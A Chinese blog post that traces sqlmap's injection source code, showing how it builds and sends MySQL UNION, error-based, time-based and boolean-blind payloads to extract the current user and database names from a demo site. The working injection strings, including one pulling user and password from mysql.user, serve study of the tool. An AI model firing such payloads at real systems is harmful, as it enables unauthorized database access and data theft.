前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >sqlmap 源码分析(四)开始注入

sqlmap 源码分析(四)开始注入

作者头像
LoRexxar
发布2023-02-21 14:39:36
8660
发布2023-02-21 14:39:36
举报
文章被收录于专栏:LoRexxar's BlogLoRexxar's Blog

sqlmap是web狗永远也绕不过去的神器,为了能自由的使用sqlmap,阅读源码还是有必要的…

开始注入

储存结果到文件

在注入之前,我们先把注入payload储存到文件。(当然是在开启的情况下)

代码语言:javascript
复制
def _saveToResultsFile():
    if not conf.resultsFP:
        return

    results = {}
    techniques = dict(map(lambda x: (x[1], x[0]), getPublicTypeMembers(PAYLOAD.TECHNIQUE)))

    for injection in kb.injections + kb.falsePositives:
        if injection.place is None or injection.parameter is None:
            continue

        key = (injection.place, injection.parameter, ';'.join(injection.notes))
        if key not in results:
            results[key] = []

        results[key].extend(injection.data.keys())

    for key, value in results.items():
        place, parameter, notes = key
        line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(map(lambda x: techniques[x][0].upper(), sorted(value))), notes, os.linesep)
        conf.resultsFP.writelines(line)

    if not results:
        line = "%s,,,,%s" % (conf.url, os.linesep)
        conf.resultsFP.writelines(line)

这里的kb.injections就是我们的测试语句

代码语言:javascript
复制
[{'dbms': 'MySQL', 'suffix': " AND '[RANDSTR]'='[RANDSTR]", 'clause': [1, 9], 'notes': [], 'ptype': 2, 'dbms_version': ['>= 5.5'], 'prefix': "'", 'place': 'POST', 'data': {1: {'comment': '', 'matchRatio': 0.744, 'title': 'AND boolean-based blind - WHERE or HAVING clause', 'templatePayload': None, 'vector': 'AND [INFERENCE]', 'where': 1, 'payload': u"user=user1' AND 9674=9674 AND 'ilwI'='ilwI"}, 2: {'comment': '', 'matchRatio': 0.744, 'title': 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)', 'templatePayload': None, 'vector': "AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))", 'where': 1, 'payload': u"user=user1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7171717671,(SELECT (ELT(9141=9141,1))),0x716a787871,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'Lpdv'='Lpdv"}, 5: {'comment': '', 'matchRatio': 0.744, 'title': 'MySQL >= 5.0.12 AND time-based blind', 'templatePayload': None, 'vector': 'AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])', 'where': 1, 'payload': u"user=user1' AND SLEEP([SLEEPTIME]) AND 'YMTj'='YMTj"}, 6: {'comment': '[GENERIC_SQL_COMMENT]', 'matchRatio': 0.744, 'title': 'Generic UNION query (NULL) - 1 to 20 columns', 'templatePayload': None, 'vector': (1, 2, '[GENERIC_SQL_COMMENT]', "'", " AND '[RANDSTR]'='[RANDSTR]", 'NULL', 1, False, False), 'where': 1, 'payload': u"user=user1' UNION ALL SELECT NULL,CONCAT(0x7171717671,0x455455665759535741516e444c6878675142594d565477695058624c7670534f71706b5954574f5a,0x716a787871)-- oVjT"}}, 'conf': {'code': None, 'string': u'user1', 'notString': None, 'titles': None, 'regexp': None, 'textOnly': None, 'optimize': None}, 'parameter': u'user', 'os': None}]

储存到数据库

同样的,如果开启了储存到数据库选项,会预先把payload储存到数据库

代码语言:javascript
复制
def _saveToHashDB():
    injections = hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True)
    if not isListLike(injections):
        injections = []
    injections.extend(_ for _ in kb.injections if _ and _.place is not None and _.parameter is not None)

    _ = dict()
    for injection in injections:
        key = (injection.place, injection.parameter, injection.ptype)
        if key not in _:
            _[key] = injection
        else:
            _[key].data.update(injection.data)
    hashDBWrite(HASHDB_KEYS.KB_INJECTIONS, _.values(), True)

    _ = hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True)
    hashDBWrite(HASHDB_KEYS.KB_ABS_FILE_PATHS, kb.absFilePaths | (_ if isinstance(_, set) else set()), True)

    if not hashDBRetrieve(HASHDB_KEYS.KB_CHARS):
        hashDBWrite(HASHDB_KEYS.KB_CHARS, kb.chars, True)

    if not hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS):
        hashDBWrite(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, kb.dynamicMarkings, True)

展示注入payload

除了向文件输出以外,还要把payload输出到命令行

先做目标数量的判断

代码语言:javascript
复制
if kb.testQueryCount > 0:
    header = "sqlmap identified the following injection point(s) with "
    header += "a total of %d HTTP(s) requests" % kb.testQueryCount
else:
    header = "sqlmap resumed the following injection point(s) from stored session"

然后展示语句

代码语言:javascript
复制
 if hasattr(conf, "api"):
    conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES)
else:
    data = "".join(set(map(lambda x: _formatInjection(x), kb.injections))).rstrip("\n")
    conf.dumper.string(header, data)

这里对应命令行是这样的

代码语言:javascript
复制
sqlmap identified the following injection point(s) with a total of 44 HTTP(s) requests:
---
Parameter: user (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: user=user1' AND 4676=4676 AND 'ZzOn'='ZzOn

    Type: error-based
    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
    Payload: user=user1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b786b71,(SELECT (ELT(7994=7994,1))),0x717a787871,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'XSuv'='XSuv

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: user=user1' AND SLEEP(5) AND 'EJXX'='EJXX

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: user=user1' UNION ALL SELECT CONCAT(0x716b786b71,0x6a6a6668724d514d5448686874774f486d634550735659727866554e65554e4e4f55504146706471,0x717a787871),NULL-- QvWZ

根据位置进行注入

_selectInjection()

循环解包出目标

代码语言:javascript
复制
for injection in kb.injections:
    place = injection.place
    parameter = injection.parameter
    ptype = injection.ptype

    point = (place, parameter, ptype)

    if point not in points:
        points[point] = injection
    else:
        for key in points[point].keys():
            if key != 'data':
                points[point][key] = points[point][key] or injection[key]
        points[point]['data'].update(injection['data'])

这里举个例子

代码语言:javascript
复制
python sqlmap.py -u http://demo.lorexxar.pw/post.php?id=2 --data user=user1 --dbs

其中place为POST parameter为user ptype为2(应该是注入列数)

而injection就是相应的注入语句

对于多目标和单目标有不同的逻辑

代码语言:javascript
复制
if len(points) == 1:
    kb.injection = kb.injections[0]

elif len(points) > 1:
    message = "there were multiple injection points, please select "
    message += "the one to use for following injections:\n"

    points = []

    for i in xrange(0, len(kb.injections)):
        place = kb.injections[i].place
        parameter = kb.injections[i].parameter
        ptype = kb.injections[i].ptype
        point = (place, parameter, ptype)

        if point not in points:
            points.append(point)
            ptype = PAYLOAD.PARAMETER[ptype] if isinstance(ptype, int) else ptype

            message += "[%d] place: %s, parameter: " % (i, place)
            message += "%s, type: %s" % (parameter, ptype)

            if i == 0:
                message += " (default)"

            message += "\n"

    message += "[q] Quit"
    select = readInput(message, default="0")

    if select.isdigit() and int(select) < len(kb.injections) and int(select) >= 0:
        index = int(select)
    elif select[0] in ("Q", "q"):
        raise SqlmapUserQuitException
    else:
        errMsg = "invalid choice"
        raise SqlmapValueException(errMsg)

    kb.injection = kb.injections[index]

进入注入

确认目标后,进入注入,这里action()就是注入逻辑

代码语言:javascript
复制
if kb.injection.place is not None and kb.injection.parameter is not None:
    if conf.multipleTargets:
        message = "do you want to exploit this SQL injection? [Y/n] "
        exploit = readInput(message, default="Y")

        condition = not exploit or exploit[0] in ("y", "Y")
    else:
        condition = True

    if condition:
        action()

注入逻辑

获取数据库版本以及php版本

conf.dumper.singleString(conf.dbmsHandler.getFingerprint())

追溯源码到了getFingerprint()函数

代码语言:javascript
复制
def getFingerprint(self):
    value = ""
    wsOsFp = Format.getOs("web server", kb.headersFp)

    if wsOsFp and not hasattr(conf, "api"):
        value += "%s\n" % wsOsFp

    if kb.data.banner:
        dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)

        if dbmsOsFp and not hasattr(conf, "api"):
            value += "%s\n" % dbmsOsFp

    value += "back-end DBMS: "
    actVer = Format.getDbms()

    _ = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK)
    if _:
        actVer += " (%s fork)" % _

    if not conf.extensiveFp:
        value += actVer
        return value

    comVer = self._commentCheck()
    blank = " " * 15
    value += "active fingerprint: %s" % actVer

    if comVer:
        comVer = Format.getDbms([comVer])
        value += "\n%scomment injection fingerprint: %s" % (blank, comVer)

    if kb.bannerFp:
        banVer = kb.bannerFp["dbmsVersion"] if "dbmsVersion" in kb.bannerFp else None

        if banVer and re.search("-log$", kb.data.banner):
            banVer += ", logging enabled"

        banVer = Format.getDbms([banVer] if banVer else None)
        value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)

    htmlErrorFp = Format.getErrorParsedDBMSes()

    if htmlErrorFp:
        value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)

    return value

返回os

代码语言:javascript
复制
wsOsFp = Format.getOs("web server", kb.headersFp)

if wsOsFp and not hasattr(conf, "api"):
    value += "%s\n" % wsOsFp

if kb.data.banner:
    dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)

    if dbmsOsFp and not hasattr(conf, "api"):
        value += "%s\n" % dbmsOsFp

返回数据库版本

代码语言:javascript
复制
value += "back-end DBMS: "
actVer = Format.getDbms()

_ = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK)
if _:
    actVer += " (%s fork)" % _

if not conf.extensiveFp:
    value += actVer
    return value

跟着Format.getDbms()

代码语言:javascript
复制
def getDbms(versions=None):
"""
Format the back-end DBMS fingerprint value and return its
values formatted as a human readable string.

@return: detected back-end DBMS based upon fingerprint techniques.
@rtype: C{str}
"""

if versions is None and Backend.getVersionList():
    versions = Backend.getVersionList()

return Backend.getDbms() if versions is None else "%s %s" % (Backend.getDbms(), " and ".join(filter(None, versions)))

然后追到Backend.getDbms()

代码语言:javascript
复制
def getDbms():
    return aliasToDbmsEnum(kb.get("dbms"))

这里只是改了个名

注入当前用户名

然后根据选项开始注入逻辑,首先是当前用户

代码语言:javascript
复制
if conf.getCurrentUser:
    conf.dumper.currentUser(conf.dbmsHandler.getCurrentUser())

拼接查询目标

代码语言:javascript
复制
query = queries[Backend.getIdentifiedDbms()].current_user.query

这里的query返回了

代码语言:javascript
复制
CURRENT_USER()

然后开始注入逻辑

代码语言:javascript
复制
if not kb.data.currentUser:
    kb.data.currentUser = unArrayizeValue(inject.getValue(query))

追到inject里的

代码语言:javascript
复制
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):

传入目标expression为CURRENT_USER()

获取注入有关数据

代码语言:javascript
复制
if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
    kb.technique = PAYLOAD.TECHNIQUE.UNION
    kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8]
    fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion

其中kb.injection.data[PAYLOAD.TECHNIQUE.UNION]是

代码语言:javascript
复制
{'comment': '[GENERIC_SQL_COMMENT]', 'matchRatio': 0.744, 'title': 'Generic UNION query (NULL) - 1 to 20 columns', 'templatePayload': None, 'vector': (1, 2, '[GENERIC_SQL_COMMENT]', "'", " AND '[RANDSTR]'='[RANDSTR]", 'NULL', 1, False, False), 'where': 1, 'payload': u"user=user1' UNION ALL SELECT NULL,CONCAT(0x71626a7071,0x516c4d6874435a474655795351577850577a466c6b6f59494a534d574d6273524a45415776514f5a,0x7171787a71)-- HIuA"}

发起注入请求

代码语言:javascript
复制
try:
    value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump)
except SqlmapConnectionException:
    if not fallback:
        raise

这里的value已经获取到了返回 hctfsqli1@localhost

追溯函数,传入的的参数:

代码语言:javascript
复制
query = CURRENT_USER()
unpack = True
dump = False

_goUnion()为

代码语言:javascript
复制
def _goUnion(expression, unpack=True, dump=False):
    """
    Retrieve the output of a SQL query taking advantage of an union SQL
    injection vulnerability on the affected parameter.
    """

    output = unionUse(expression, unpack=unpack, dump=dump)

    if isinstance(output, basestring):
        output = parseUnionPage(output)

    return output

追溯到unionUse()

首先是初始化

代码语言:javascript
复制
initTechnique(PAYLOAD.TECHNIQUE.UNION)

    abortedFlag = False
    count = None
    origExpr = expression
    startLimit = 0
    stopLimit = None
    value = None

    width = getConsoleWidth()
    start = time.time()

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)

由于注入当前用户名可能不需要太复杂的处理,所以直接跳过中间的大段处理

代码语言:javascript
复制
if not value and not abortedFlag:
    output = _oneShotUnionUse(expression, unpack)
    value = parseUnionPage(output

output为qbjpqhctfsqli1@localhostqqxzq 传入expression为CURRENT_USER()

进入_oneShotUnionUse(),首先是从session读取数据

代码语言:javascript
复制
retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True)  # as UNION data is stored raw unconverted

如果没有,则继续,拼接payload是最重要的

代码语言:javascript
复制
if not kb.rowXmlMode:
    injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
    kb.unionDuplicates = vector[7]
    kb.forcePartialUnion = vector[8]
    query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
    where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
else:
    where = vector[6]
    query = agent.forgeUnionQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)

payload = agent.payload(newValue=query, where=where)

这里的payload为

代码语言:javascript
复制
user=__PAYLOAD_DELIMITER__user1' UNION ALL SELECT NULL,CONCAT(0x7176626271,IFNULL(CAST(CURRENT_USER() AS CHAR),0x20),0x717a766271)-- SnOp__PAYLOAD_DELIMITER__

传入newValue为

代码语言:javascript
复制
' UNION ALL SELECT CONCAT(0x7170626b71,IFNULL(CAST(CURRENT_USER() AS CHAR),0x20),0x716a7a7a71),NULL[GENERIC_SQL_COMMENT]

让我们先来看看newValue是怎么拼接出来的,agent.concatQuery是用来拼接处CONCAT语句的

拼接

代码语言:javascript
复制
if unpack:
    concatenatedQuery = ""
    query = query.replace(", ", ',')
    fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query)
    castedFields = self.nullCastConcatFields(fieldsToCastStr)
    concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
else:
    return query

这里concatenatedQuery

代码语言:javascript
复制
IFNULL(CAST(CURRENT_USER() AS CHAR),' ')

针对不同数据库的改变

代码语言:javascript
复制
if Backend.isDbms(DBMS.MYSQL):
    if fieldsExists:
        concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
        concatenatedQuery += ",'%s')" % kb.chars.stop
    elif fieldsSelectCase:
        concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
        concatenatedQuery += ",'%s')" % kb.chars.stop
    elif fieldsSelectFrom:
        _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
        concatenatedQuery = "%s,'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:])
    elif fieldsSelect:
        concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
        concatenatedQuery += ",'%s')" % kb.chars.stop
    elif fieldsNoSelect:
        concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)

返回

代码语言:javascript
复制
CONCAT('qqbjq',IFNULL(CAST(CURRENT_USER() AS CHAR),' '),'qqpvq')

然后forgeUnionQuery来拼接

代码语言:javascript
复制
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)

这个函数的作用是

代码语言:javascript
复制
MySQL input:  CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user

MySQL output:  UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488

和上面的逻辑大同小异,就不贴代码了

拼接好payload就要请求了

代码语言:javascript
复制
page, headers = Request.queryPage(payload, content=True, raise404=False)

这里的返回时

代码语言:javascript
复制
<table><tr><th>id</th><th>name</th></tr><tr><td>1</td><td>user1</td></tr><tr><td></td><td>qzxjqhctfsqli1@localhostqbbqq</td></tr></table> Server: nginx
Date: Fri, 19 Aug 2016 05:46:39 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/7.0.0
Content-Encoding: gzip
URI: http://demo.lorexxar.pw:80/post.php?id=2

解包出结果

代码语言:javascript
复制
if not kb.rowXmlMode:
    # Parse the returned page to get the exact UNION-based
    # SQL injection output
    def _(regex):
        return reduce(lambda x, y: x if x is not None else y, (\
                extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
                extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
                if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
                None)

    # Automatically patching last char trimming cases
    if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
        warnMsg = "automatically patching output having last char trimmed"
        singleTimeWarnMessage(warnMsg)
        page = page.replace(kb.chars.stop[:-1], kb.chars.stop)

	retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))

这里获取到的retVal就是返回值,而传入的(?P%s.*%s)则是填补padding

代码语言:javascript
复制
(?P<result>qjpvq.*qpbjq)

然后返回到最初,输出current user: 'hctfsqli1@localhost'

注数据库名字

由于注入有很多选项,这里就只以数据库名字作为例子

代码语言:javascript
复制
if conf.getDbs:
        conf.dumper.dbs(conf.dbmsHandler.getDbs())

首先是判断information.schema能不能被注

代码语言:javascript
复制
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
    warnMsg = "information_schema not available, "
    warnMsg += "back-end DBMS is MySQL < 5. database "
    warnMsg += "names will be fetched from 'mysql' database"
    logger.warn(warnMsg)

elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL):
    warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms()
    warnMsg += "for enumeration as the counterpart to database "
    warnMsg += "names on other DBMSes"
    logger.warn(warnMsg)

    infoMsg = "fetching database (schema) names"

else:
    infoMsg = "fetching database names"

发起注入,由于阅读源码更重要在于分析代码逻辑,所以这次使用bool型盲注来注入数据,

代码语言:javascript
复制
if not kb.data.cachedDbs and isInferenceAvailable() and not conf.direct:
    infoMsg = "fetching number of databases"
    logger.info(infoMsg)

    if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
        query = rootQuery.blind.count2
    else:
        query = rootQuery.blind.count
    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

    if not isNumPosStrValue(count):
        errMsg = "unable to retrieve the number of databases"
        logger.error(errMsg)
    else:
        plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
        indexRange = getLimitRange(count, plusOne=plusOne)

        for index in indexRange:
            if Backend.isDbms(DBMS.SYBASE):
                query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ")
            elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                query = rootQuery.blind.query2 % index
            else:
                query = rootQuery.blind.query % index
            db = unArrayizeValue(inject.getValue(query, union=False, error=False))

            if db:
                kb.data.cachedDbs.append(safeSQLIdentificatorNaming(db))

这里首先是注入数据数量,query为基础payload

代码语言:javascript
复制
SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA

进入注入逻辑

代码语言:javascript
复制
if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
   kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN  

   if expected == EXPECTED.BOOL:
       value = _goBooleanProxy(booleanExpression)
   else:
       value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)

   count += 1
   found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

核心请求为

代码语言:javascript
复制
value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)

而对应的参数是

代码语言:javascript
复制
SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA False False True 2 None None False

二分法实现注入逻辑

代码语言:javascript
复制
elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper():
        expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]

outputs = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)

这里的 expression, expressionFields, expressionFieldsList, payload分别是

代码语言:javascript
复制
SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA 
COUNT(DISTINCT(schema_name)) 
['COUNT(DISTINCT(schema_name))'] 
user=__PAYLOAD_DELIMITER__user1' AND ORD(MID((%s),%d,1))>%d AND 'fQbM'='fQbM__PAYLOAD_DELIMITER__

追过去,发现做了基本的处理

代码语言:javascript
复制
def _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
    outputs = []
    origExpr = None

    for field in expressionFieldsList:
        output = None

        if field.startswith("ROWNUM "):
            continue

        if isinstance(num, int):
            origExpr = expression
            expression = agent.limitQuery(num, expression, field, expressionFieldsList[0])

        if "ROWNUM" in expressionFieldsList:
            expressionReplaced = expression
        else:
            expressionReplaced = expression.replace(expressionFields, field, 1)

        output = _goInference(payload, expressionReplaced, charsetType, firstChar, lastChar, dump, field)

        if isinstance(num, int):
            expression = origExpr

        outputs.append(output)

    return outputs

里面payload, expressionReplaced, charsetType, firstChar, lastChar, dump, field分别为

代码语言:javascript
复制
user=__PAYLOAD_DELIMITER__user1' AND ORD(MID((%s),%d,1))>%d AND 'yejJ'='yejJ__PAYLOAD_DELIMITER__ 
SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA 
2
None 
None 
False 
COUNT(DISTINCT(schema_name))

追溯到注入逻辑

代码语言:javascript
复制
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):

多线程的判断

代码语言:javascript
复制
if numThreads > 1:
    if not timeBasedCompare or conf.forceThreads:
        debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else ""))
        logger.debug(debugMsg)
    else:
        numThreads = 1

if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput:
    warnMsg = "running in a single-thread mode. Please consider "
    warnMsg += "usage of option '--threads' for faster data retrieval"
    singleTimeWarnMessage(warnMsg)

当然这里是单线程的

代码语言:javascript
复制
while True:
    index += 1
    charStart = time.time()

    # Common prediction feature (a.k.a. "good samaritan")
    # NOTE: to be used only when multi-threading is not set for
    # the moment
    if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
        val = None
        commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)

        # If there is one single output in common-outputs, check
        # it via equal against the query output
        if commonValue is not None:
            # One-shot query containing equals commonValue
            testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False)

            query = kb.injection.data[kb.technique].vector
            query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (expressionUnescaped, testValue)))
            query = agent.suffixQuery(query)

            result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
            incrementCounter(kb.technique)

            # Did we have luck?
            if result:
                if showEta:
                    progress.progress(time.time() - charStart, len(commonValue))
                elif conf.verbose in (1, 2) or hasattr(conf, "api"):
                    dataToStdout(filterControlChars(commonValue[index - 1:]))

                finalValue = commonValue
                break

        # If there is a common pattern starting with partialValue,
        # check it via equal against the substring-query output
        if commonPattern is not None:
            # Substring-query containing equals commonPattern
            subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
            testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False)

            query = kb.injection.data[kb.technique].vector
            query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (subquery, testValue)))
            query = agent.suffixQuery(query)

            result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
            incrementCounter(kb.technique)

            # Did we have luck?
            if result:
                val = commonPattern[index - 1:]
                index += len(val) - 1

        # Otherwise if there is no commonValue (single match from
        # txt/common-outputs.txt) and no commonPattern
        # (common pattern) use the returned common charset only
        # to retrieve the query output
        if not val and commonCharset:
            val = getChar(index, commonCharset, False)

        # If we had no luck with commonValue and common charset,
        # use the returned other charset
        if not val:
            val = getChar(index, otherCharset, otherCharset == asciiTbl)
    else:
        val = getChar(index, asciiTbl)

这里的val就是每次注入的一个字符,这里比较重要的就是val = getChar(index, asciiTbl),这里index为第几位,asciiTbl则为可能的ascii表

对于数字和字符有不同的ascii表

代码语言:javascript
复制
数字
[0, 1, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57]

字母
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127]

二分法,首先定义最大最小字符

代码语言:javascript
复制
maxChar = maxValue = charTbl[-1]
minChar = minValue = charTbl[0]

进入循环,构造payload,每次取中间的那一位len(charTbl) >> 1

代码语言:javascript
复制
tion = (len(charTbl) >> 1)
    posValue = charTbl[position]
    falsePayload = None

    if "'%s'" % CHAR_INFERENCE_MARK not in payload:
        forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
        falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
    else:
        # e.g.: ... > '%c' -> ... > ORD(..)
        markingValue = "'%s'" % CHAR_INFERENCE_MARK
        unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))
        forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
        falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL)

二分法需要两个payload,然后发起请求

代码语言:javascript
复制
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)

如果result是ture,那么当前值设置为最小值,前面所有值去掉,false同理

代码语言:javascript
复制
if result:
    minValue = posValue

    if type(charTbl) != xrange:
        charTbl = charTbl[position:]
    else:
        # xrange() - extended virtual charset used for memory/space optimization
        charTbl = xrange(charTbl[position], charTbl[-1] + 1)
else:
    maxValue = posValue

    if type(charTbl) != xrange:
        charTbl = charTbl[:position]
    else:
        charTbl = xrange(charTbl[0], charTbl[position])

这样最多7次,就可以确定其中一位了

时间盲注逻辑相同…

由于python水平还是有限,这次读源码就到这里了,有机会在深入读吧

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2016/08/18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 开始注入
    • 储存结果到文件
      • 储存到数据库
        • 展示注入payload
          • 根据位置进行注入
            • 循环解包出目标
            • 对于多目标和单目标有不同的逻辑
            • 进入注入
        • 注入逻辑
          • 获取数据库版本以及php版本
            • 返回os
            • 返回数据库版本
          • 注入当前用户名
            • 注数据库名字
            相关产品与服务
            数据库
